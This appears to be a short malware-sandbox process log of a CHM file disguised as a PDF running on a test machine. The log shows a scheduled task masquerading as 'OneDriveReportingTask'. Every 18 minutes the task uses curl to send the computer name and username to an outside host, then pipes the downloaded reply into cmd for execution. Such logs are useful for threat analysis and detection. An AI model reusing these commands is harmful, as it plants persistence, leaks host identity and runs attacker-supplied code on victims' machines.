cmd.exe "C:\Windows\System32\cmd.exe" /c start /wait "LCtKcmsKEZFv" "C:\Users\test22\AppData\Local\Temp\Joint working group.pdf.chm"
2544conhost.exe "C:\Windows\System32\conhost.exe" --headless schtasks.exe /create /tn OneDriveReportingTask /f /sc minute /mo 18 /tr "conhost --headless cmd /c curl -o C:\Users\Public\Documents\fre.tr littlehipsononline.com/yvfr.php?oo=%computername%_%username% & more C:\Users\Public\Documents\fre.tr|cmd"
2880